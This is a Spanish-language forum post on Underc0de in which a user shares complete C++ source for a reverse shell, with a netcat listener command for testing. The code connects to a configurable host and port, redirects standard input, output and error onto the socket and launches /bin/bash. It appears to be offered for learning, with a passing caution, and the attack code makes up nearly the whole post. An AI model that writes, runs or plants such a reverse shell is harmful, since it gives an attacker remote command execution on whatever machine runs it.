Underc0de - La Casa de los Informáticos

Programación General => C / C++ => Mensaje iniciado por: loris24 en Enero 08, 2026, 06:12:12 PM

Título: reverse shell C++
Publicado por: loris24 en Enero 08, 2026, 06:12:12 PM
(https://i.postimg.cc/hP6dZYc9/Internet_Speed.png) (https://postimages.org/)

Muy buenas chicos.

Os dejo por aqui una simple reverse shell que me apetecia hacer desde hace unos dias y que no daba encontrado el momento hasta ahora.

Os ire subiendo versiones mas completas y complejas. No hace falta decir que esto es con motivos didacticos y os aconsejo que tengais cuidado con como utilizais estas cosas.

Para probarla, ya sabeis, abrís un puerto con lo tipico... "nc -lvp <puerto a abrir>" y ya podeis poneros a jugar un poco con ello.

Tal vez suba implementaciones de RFC un poco mas completas y con explicacion merecida. ¡Un saludo!


#include <iostream>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <errno.h>
#include <cstring>
#include <cstdlib>
#include <sys/wait.h>
#include <sys/socket.h>
#include <netdb.h>

#define IP_SERVER ("127.0.0.1")
#define PORT_SERVER ("9999")


int main(int argc, char ** argv){


    struct addrinfo base;
    memset(&base, 0, sizeof base);
    base.ai_socktype = SOCK_STREAM;
    struct addrinfo *res;
    int status;

    if(getaddrinfo(IP_SERVER, PORT_SERVER, &base, &res) < 0){
        std::cerr << "An error has ocurred in calling getaddrinfo" << std::endl;
        std::cerr << "exiting..." << std::endl;
        return -1;
    }

    int sock = socket(
        res -> ai_family,
        res -> ai_socktype,
        res -> ai_protocol
        );

    if(sock < 0){
        std::cerr << "An error has ocurred while creating socket" << std::endl;
        std::cerr << "exiting..." << std::endl;
        return -1;
    }

    if(connect(sock, res -> ai_addr, res -> ai_addrlen) < 0){
        std::cerr << "An error has ocurred while connecting" << std::endl;
        std::cerr << "exiting..." << std::endl;
        return -1;
    }
    freeaddrinfo(res);

    //ya podemos enviar y recibir

    pid_t pid = fork();

    if(pid < 0){
        std::cerr << "An error has ocurred while doing fork" << std::endl;
        std::cerr << "exiting..." << std::endl;
    }else if(pid == 0){

        //aqui estamos en el hijo
        //vamos a manipular los descriptores y a duplicarlos con el descriptor del socket
        int res_out = dup2(sock, 0); //stdout
        int res_in = dup2(sock, 1); //stdin
        int res_err = dup2(sock, 2); //stderr

        if(res_out < 0 || res_in < 0 || res_err < 0){
            //no se pudieron duplicar los descriptores
            exit(EXIT_FAILURE);
        }else{
            execv("/bin/bash", NULL); //ejecutamos nuestra shell
        }
    }else{
        //aqui estamos en el padre
        std::cout << "pid hijo:" << pid <<std::endl;
        waitpid(pid, &status, 0);
        std::cout << "proceso terminado correctamente" << std::endl;
    }

    close(sock);

    return 0;

}